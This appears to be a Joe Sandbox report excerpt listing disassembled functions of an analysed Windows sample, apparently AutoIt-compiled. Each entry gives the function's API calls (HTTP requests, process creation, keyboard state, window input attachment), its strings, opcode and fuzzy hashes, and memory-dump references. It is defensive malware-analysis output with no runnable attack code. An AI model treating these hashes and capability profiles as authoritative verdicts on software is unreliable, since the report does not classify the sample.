API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize__itow__swprintf
String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
API String ID: 834269672-1287834457
Opcode ID: 36a9d37e914a6b435c6cc6d3c0b75c8c192809caa7305a94fb6a91e8933ba973
Instruction ID: 1ecf12bf70cda93fdc9aedec4f63554b108ee528e6f4d3889bd59e8deebaf8d8
Opcode Fuzzy Hash: 36a9d37e914a6b435c6cc6d3c0b75c8c192809caa7305a94fb6a91e8933ba973
Instruction Fuzzy Hash: 21618E70208711AFD712DF55C889F6AB7E8AF44715F00485DF986AB2A1CB70ED48CBA2

Function 0034BB06 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 98COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 0034BB13
GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000002,00000001), ref: 0034BB89
GetLastError.KERNEL32 ref: 0034BB93
SetErrorMode.KERNEL32(00000000,READY), ref: 0034BC00

Strings

READONLY, xrefs: 0034BBCB
INVALID, xrefs: 0034BBD2
NOTREADY, xrefs: 0034BBBF
UNKNOWN, xrefs: 0034BBB8
READY, xrefs: 0034BBD9

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Error$Mode$DiskFreeLastSpace
String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
API String ID: 4194297153-14809454
Opcode ID: 1a5ff58d1ddcdf44b80d9d14ce4144cc71a1b9a54607391cba8acd0a39e84787
Instruction ID: 10cc320a5642511dd0b5a1b2d24d3a15e3a1da220b5e5e30897944fc3aaf660f
Opcode Fuzzy Hash: 1a5ff58d1ddcdf44b80d9d14ce4144cc71a1b9a54607391cba8acd0a39e84787
Instruction Fuzzy Hash: E131AF35A00208EFCB12EFA9C885EB9F7F8EF44750F14816AE905DB295DB70E941CB91

Function 003434DD Relevance: 15.8, APIs: 2, Strings: 7, Instructions: 82windowCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000000,00007F03), ref: 0034357C

Strings

warning, xrefs: 00343565
info, xrefs: 0034351D
question, xrefs: 00343535
,z:0z:, xrefs: 0034358D
stop, xrefs: 0034354D
,z:0z:, xrefs: 0034350F
blank, xrefs: 003434FE

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: IconLoad
String ID: ,z:0z:$,z:0z:$blank$info$question$stop$warning
API String ID: 2457776203-3593753759
Opcode ID: 679b48e8885634d38cbf81d216c9bbb1b83e8eec8803a72ced65a1dc0da6e940
Instruction ID: a9d88816eb542d56f93891c4e5080ac0d3bac7587dd2831e919e5b48d41ee1a0
Opcode Fuzzy Hash: 679b48e8885634d38cbf81d216c9bbb1b83e8eec8803a72ced65a1dc0da6e940
Instruction Fuzzy Hash: B1110D7164D346BEEB076A14FC92DAA77DCDF1A360F10009AF5149F1C1E7647F4045A4

Function 00339B47 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 82windowCOMMON

Download Yara Rule

APIs

Part of subcall function 002F1A36: _memmove.LIBCMT ref: 002F1A77

Part of subcall function 0033B79A: GetClassNameW.USER32(?,?,000000FF), ref: 0033B7BD

SendMessageW.USER32(?,0000018C,000000FF,00000002), ref: 00339BCC
GetDlgCtrlID.USER32 ref: 00339BD7
GetParent.USER32 ref: 00339BF3
SendMessageW.USER32(00000000,?,00000111,?), ref: 00339BF6
GetDlgCtrlID.USER32(?), ref: 00339BFF
GetParent.USER32(?), ref: 00339C1B
SendMessageW.USER32(00000000,?,?,00000111), ref: 00339C1E

Strings

ListBox, xrefs: 00339B89
ComboBox, xrefs: 00339B54

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_memmove
String ID: ComboBox$ListBox
API String ID: 1536045017-1403004172
Opcode ID: 36d6d6ad5ec4b0e8bd273fd2fde2eac7f21e0e99777a14612f7e288dec967aab
Instruction ID: 5cd9c559870238fc1ac914b209bc62854e10f8c59ecc4e91770a833282162515
Opcode Fuzzy Hash: 36d6d6ad5ec4b0e8bd273fd2fde2eac7f21e0e99777a14612f7e288dec967aab
Instruction Fuzzy Hash: 3521BD70A00108EFDF16EBA4CC95EFEBBA9EF95310F100116F9A1972E1DBB548649A20

Function 00339C32 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 81windowCOMMON

Download Yara Rule

APIs

Part of subcall function 002F1A36: _memmove.LIBCMT ref: 002F1A77

Part of subcall function 0033B79A: GetClassNameW.USER32(?,?,000000FF), ref: 0033B7BD

SendMessageW.USER32(?,00000186,00000002,00000000), ref: 00339CB5
GetDlgCtrlID.USER32 ref: 00339CC0
GetParent.USER32 ref: 00339CDC
SendMessageW.USER32(00000000,?,00000111,?), ref: 00339CDF
GetDlgCtrlID.USER32(?), ref: 00339CE8
GetParent.USER32(?), ref: 00339D04
SendMessageW.USER32(00000000,?,?,00000111), ref: 00339D07

Strings

ListBox, xrefs: 00339C74
ComboBox, xrefs: 00339C3F

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_memmove
String ID: ComboBox$ListBox
API String ID: 1536045017-1403004172
Opcode ID: 688d1df6e308d03624735d2c6d5c9b953caf1488ac367ce348265deceff9edb7
Instruction ID: 9331b80114855a55901176fb3c6b196bc4eb57d1c157cd5da4204e3f88b3acdd
Opcode Fuzzy Hash: 688d1df6e308d03624735d2c6d5c9b953caf1488ac367ce348265deceff9edb7
Instruction Fuzzy Hash: 0B21CF71A00108EFDF16ABA4CCD5EFEBBB9EF95300F100112F95197291DBB58964DA20

Function 00339D1B Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 72windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 00339D27
GetClassNameW.USER32(00000000,?,00000100), ref: 00339D3C
_wcscmp.LIBCMT ref: 00339D4E
SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 00339DC9

Strings

largeicons, xrefs: 00339D5D
list, xrefs: 00339DAB
SHELLDLL_DefView, xrefs: 00339D48
smallicons, xrefs: 00339D91
details, xrefs: 00339D77

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: ClassMessageNameParentSend_wcscmp
String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
API String ID: 1704125052-3381328864
Opcode ID: cfeff62cd14acf4b65b7bc3d15c8736f43c7511497d5f5453b25f52169a84f3a
Instruction ID: 9827d9e126fc2fdacf0838d00e58d300d8e9b34a1214d1da6738538b6753b01a
Opcode Fuzzy Hash: cfeff62cd14acf4b65b7bc3d15c8736f43c7511497d5f5453b25f52169a84f3a
Instruction Fuzzy Hash: 24113676248302FAFA173624EC97EE6739CCF05720F210113FA00A84D1FAE16A605A90

Function 00358F95 Relevance: 15.3, APIs: 10, Instructions: 324fileCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00358FC1
CoInitialize.OLE32(00000000), ref: 00358FEE
CoUninitialize.OLE32 ref: 00358FF8
GetRunningObjectTable.OLE32(00000000,?), ref: 003590F8
SetErrorMode.KERNEL32(00000001,00000029), ref: 00359225
CoGetInstanceFromFile.OLE32(00000000,?,00000000,00000015,00000002,?,00000001,00373BDC), ref: 00359259
CoGetObject.OLE32(?,00000000,00373BDC,?), ref: 0035927C
SetErrorMode.KERNEL32(00000000), ref: 0035928F
SetErrorMode.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 0035930F
VariantClear.OLEAUT32(?), ref: 0035931F

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize
String ID:
API String ID: 2395222682-0
Opcode ID: f59626e1463fe486dae91a292fef036c6c5850d89356d08736b88319f927ea52
Instruction ID: 466f7e46fefdde6a29e210300a09c986add0cc6bdbcc856955a12d72daa349a8
Opcode Fuzzy Hash: f59626e1463fe486dae91a292fef036c6c5850d89356d08736b88319f927ea52
Instruction Fuzzy Hash: 2EC11171208305EFC705DF64C884E2AB7E9EF89309F00491DF98A9B261DB71ED49CB92

Function 003419CD Relevance: 15.1, APIs: 10, Instructions: 89threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 003419EF
GetForegroundWindow.USER32(00000000,?,?,?,?,?,00340A67,?,00000001), ref: 00341A03
GetWindowThreadProcessId.USER32(00000000), ref: 00341A0A
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00340A67,?,00000001), ref: 00341A19
GetWindowThreadProcessId.USER32(?,00000000), ref: 00341A2B
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00340A67,?,00000001), ref: 00341A44
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00340A67,?,00000001), ref: 00341A56
AttachThreadInput.USER32(00000000,00000000,?,?,?,?,?,00340A67,?,00000001), ref: 00341A9B
AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,?,?,00340A67,?,00000001), ref: 00341AB0
AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,?,?,00340A67,?,00000001), ref: 00341ABB

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Thread$AttachInput$Window$Process$CurrentForeground
String ID:
API String ID: 2156557900-0
Opcode ID: 654b80d4ad42c2d539385a734288b1fee25b742686d93f08082eb273fe6765f0
Instruction ID: 8485951468b50b721c97783252dc5a987e1600c25f99841215870d75bed36201
Opcode Fuzzy Hash: 654b80d4ad42c2d539385a734288b1fee25b742686d93f08082eb273fe6765f0
Instruction Fuzzy Hash: 2931CE71611604EFEB279F14EC48FAA77FEEB55319F124115FA04CA190EBB4ADC08B60

Function 0031C0E3 Relevance: 15.1, APIs: 10, Instructions: 59windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 002E260D
SetTextColor.GDI32(?,000000FF), ref: 002E2617
SetBkMode.GDI32(?,00000001), ref: 002E262C
GetStockObject.GDI32(00000005), ref: 002E2634
GetClientRect.USER32(?), ref: 0031C0FC
SendMessageW.USER32(?,00001328,00000000,?), ref: 0031C113
GetWindowDC.USER32(?), ref: 0031C11F
GetPixel.GDI32(00000000,?,?), ref: 0031C12E
ReleaseDC.USER32(?,00000000), ref: 0031C140
GetSysColor.USER32(00000005), ref: 0031C15E

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Color$ClientMessageModeObjectPixelRectReleaseSendStockTextWindow
String ID:
API String ID: 3430376129-0
Opcode ID: a11490df2fc216ccefab451f94d40a921abd4223e87ba03019d52324b4790066
Instruction ID: 118d5133af360d84f57252b34462f34cb3f7d442e25b367492e5783eb99a4e3c
Opcode Fuzzy Hash: a11490df2fc216ccefab451f94d40a921abd4223e87ba03019d52324b4790066
Instruction Fuzzy Hash: BF117931544245FFDB765FB4EC48BE97BAAEB09331F904221FA6A950E1CB7109A1EF10

Function 002EAD98 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 264comCOMMON

Download Yara Rule

APIs

mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 002EADE1
OleUninitialize.OLE32(?,00000000), ref: 002EAE80
UnregisterHotKey.USER32(?), ref: 002EAFD7
DestroyWindow.USER32(?), ref: 00322F64
FreeLibrary.KERNEL32(?), ref: 00322FC9
VirtualFree.KERNEL32(?,00000000,00008000), ref: 00322FF6

Strings

close all, xrefs: 002EADDC

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
String ID: close all
API String ID: 469580280-3243417748
Opcode ID: 124800d616b736915b80454d5c1dc74b023b00e097dc86f96c2cca02a64ace74
Instruction ID: 747d7943918513000d28baccac960ab9b621a3a1d0e03f8e9c6725972aea08bc
Opcode Fuzzy Hash: 124800d616b736915b80454d5c1dc74b023b00e097dc86f96c2cca02a64ace74
Instruction Fuzzy Hash: 09A19D70751222DFCB2AEF11D995B2AF364FF04740F5542ADE90AAB251CB31AD22CF91

Function 0033AD69 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 241COMMON

Download Yara Rule

APIs

EnumChildWindows.USER32(?,0033B13A), ref: 0033B078

Strings

NAME, xrefs: 0033AEAA
TEXT, xrefs: 0033AFAF
CLASS, xrefs: 0033ADF7
INSTANCE, xrefs: 0033AF86
REGEXPCLASS, xrefs: 0033AE3D
CLASSNN, xrefs: 0033AE1A

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: ChildEnumWindows
String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
API String ID: 3555792229-1603158881
Opcode ID: 6bcab9355dce2d4f10f061f6e79cc5f4e5e5cf59ce68c8c65e40a86b055fc297
Instruction ID: bce6ee30f085ca7971234e4b34b421cb086791a7ae271bb662f64ec14c048780
Opcode Fuzzy Hash: 6bcab9355dce2d4f10f061f6e79cc5f4e5e5cf59ce68c8c65e40a86b055fc297
Instruction Fuzzy Hash: 58919770600905EACB1EEF60C4D1BEEFB79FF04340F548219E99AA7291DF306959DBA1

Function 002E31F6 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 186windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,000000EB), ref: 002E327E

Part of subcall function 002E218F: GetClientRect.USER32(?,?), ref: 002E21B8
Part of subcall function 002E218F: GetWindowRect.USER32(?,?), ref: 002E21F9
Part of subcall function 002E218F: ScreenToClient.USER32(?,?), ref: 002E2221

GetDC.USER32 ref: 0031D073
SendMessageW.USER32(?,00000031,00000000,00000000), ref: 0031D086
SelectObject.GDI32(00000000,00000000), ref: 0031D094
SelectObject.GDI32(00000000,00000000), ref: 0031D0A9
ReleaseDC.USER32(?,00000000), ref: 0031D0B1
MoveWindow.USER32(?,?,?,?,?,?,?,00000031,00000000,00000000), ref: 0031D13C

Strings

U, xrefs: 0031D011

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Window$ClientObjectRectSelect$LongMessageMoveReleaseScreenSend
String ID: U
API String ID: 4009187628-3372436214
Opcode ID: f60e33cc444cfc0645b03898d1f035f5b79519174b43a0616181653e5f5660d8
Instruction ID: 697de62400ae02f337bfd0d0486b894bb6dd5cede96211b24c8b4aeb3d379e33
Opcode Fuzzy Hash: f60e33cc444cfc0645b03898d1f035f5b79519174b43a0616181653e5f5660d8
Instruction Fuzzy Hash: D571BD30400245EFCF2ACF64CC84AEA7BB9FF4E361F144269EE955A1A6C7318D91DB60

Function 0036C634 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 149windowCOMMON

Download Yara Rule

APIs

Part of subcall function 002E29E2: GetWindowLongW.USER32(?,000000EB), ref: 002E29F3

Part of subcall function 002E2714: GetCursorPos.USER32(?), ref: 002E2727
Part of subcall function 002E2714: ScreenToClient.USER32(003A77B0,?), ref: 002E2744
Part of subcall function 002E2714: GetAsyncKeyState.USER32(00000001), ref: 002E2769
Part of subcall function 002E2714: GetAsyncKeyState.USER32(00000002), ref: 002E2777

ImageList_DragLeave.COMCTL32(00000000,00000000,00000001,?,?), ref: 0036C69C
ImageList_EndDrag.COMCTL32 ref: 0036C6A2
ReleaseCapture.USER32 ref: 0036C6A8
SetWindowTextW.USER32(?,00000000), ref: 0036C752
SendMessageW.USER32(?,000000B1,00000000,000000FF), ref: 0036C765
DefDlgProcW.USER32(?,00000202,?,?,00000000,00000001,?,?), ref: 0036C847

Strings

@GUI_DRAGFILE, xrefs: 0036C7DC
@GUI_DROPID, xrefs: 0036C799

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: AsyncDragImageList_StateWindow$CaptureClientCursorLeaveLongMessageProcReleaseScreenSendText
String ID: @GUI_DRAGFILE$@GUI_DROPID
API String ID: 1924731296-2107944366
Opcode ID: 2f09ff3c86bc22fbc4b682f8bf4afef4d887affc18adca9c224d4b44fec07012
Instruction ID: 846ef881b90807a4a3a749e473ff754c8b3870f025457dca80f4c07cf94106af
Opcode Fuzzy Hash: 2f09ff3c86bc22fbc4b682f8bf4afef4d887affc18adca9c224d4b44fec07012
Instruction Fuzzy Hash: ED519B70618304AFDB16EF24CC9AFAA7BE9EB84310F00891DF595872E1CB75A954CF52

Function 003520E1 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 134networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 0035211C
HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 00352148
InternetQueryOptionW.WININET(00000000,0000001F,00000000,?), ref: 0035218A
InternetSetOptionW.WININET(00000000,0000001F,00000100,00000004), ref: 0035219F
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 003521AC
HttpQueryInfoW.WININET(00000000,00000005,?,?,00000000), ref: 003521DC
InternetCloseHandle.WININET(00000000), ref: 00352223

Part of subcall function 00352B4F: GetLastError.KERNEL32(?,?,00351EE3,00000000,00000000,00000001), ref: 00352B64
Part of subcall function 00352B4F: SetEvent.KERNEL32(?,?,00351EE3,00000000,00000000,00000001), ref: 00352B79

Strings

, xrefs: 003521CD

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Internet$Http$OptionQueryRequest$CloseConnectErrorEventHandleInfoLastOpenSend
String ID:
API String ID: 2603140658-3916222277
Opcode ID: 5f5102f47b6d8dc81ccfeaa5369e44275dcdc52b6b43da40db8eb47fb5e6b015
Instruction ID: cb51763f83e878df7b69ff95f04f213a048da201f262374f90636876a0a00ee5
Opcode Fuzzy Hash: 5f5102f47b6d8dc81ccfeaa5369e44275dcdc52b6b43da40db8eb47fb5e6b015
Instruction Fuzzy Hash: 99416EB5501608BFEB179F50CC89FBB7BACEF09355F00411AFE059A1A1D7709E489BA1

Function 00359330 Relevance: 13.9, APIs: 9, Instructions: 438COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,?,00370980), ref: 00359412
FreeLibrary.KERNEL32(00000000,00000001,00000000,?,00370980), ref: 00359446
QueryPathOfRegTypeLib.OLEAUT32(?,?,?,?,?), ref: 003595C0
SysFreeString.OLEAUT32(?), ref: 003595EA

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Free$FileLibraryModuleNamePathQueryStringType
String ID:
API String ID: 560350794-0
Opcode ID: 81f1d6bf3559a5a530fba0198d6527260c85755813ca41c70ddafcc73e0d2d24
Instruction ID: 3fa3d7f39efe011ecdf44d99ca97184ac86e4fe69ece48c6720f8aefd9f56a13
Opcode Fuzzy Hash: 81f1d6bf3559a5a530fba0198d6527260c85755813ca41c70ddafcc73e0d2d24
Instruction Fuzzy Hash: 11F13C71A00209EFCF16DF94C884EAEB7B9FF49315F118459F906AB261DB31AE49CB50

Function 0035FD7D Relevance: 13.9, APIs: 9, Instructions: 386processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0035FD9E
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 0035FF31
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 0035FF55
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 0035FF95
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 0035FFB7
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00360133
GetLastError.KERNEL32(00000000,00000001,00000000), ref: 00360165
CloseHandle.KERNEL32(?), ref: 00360194
CloseHandle.KERNEL32(?), ref: 0036020B

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
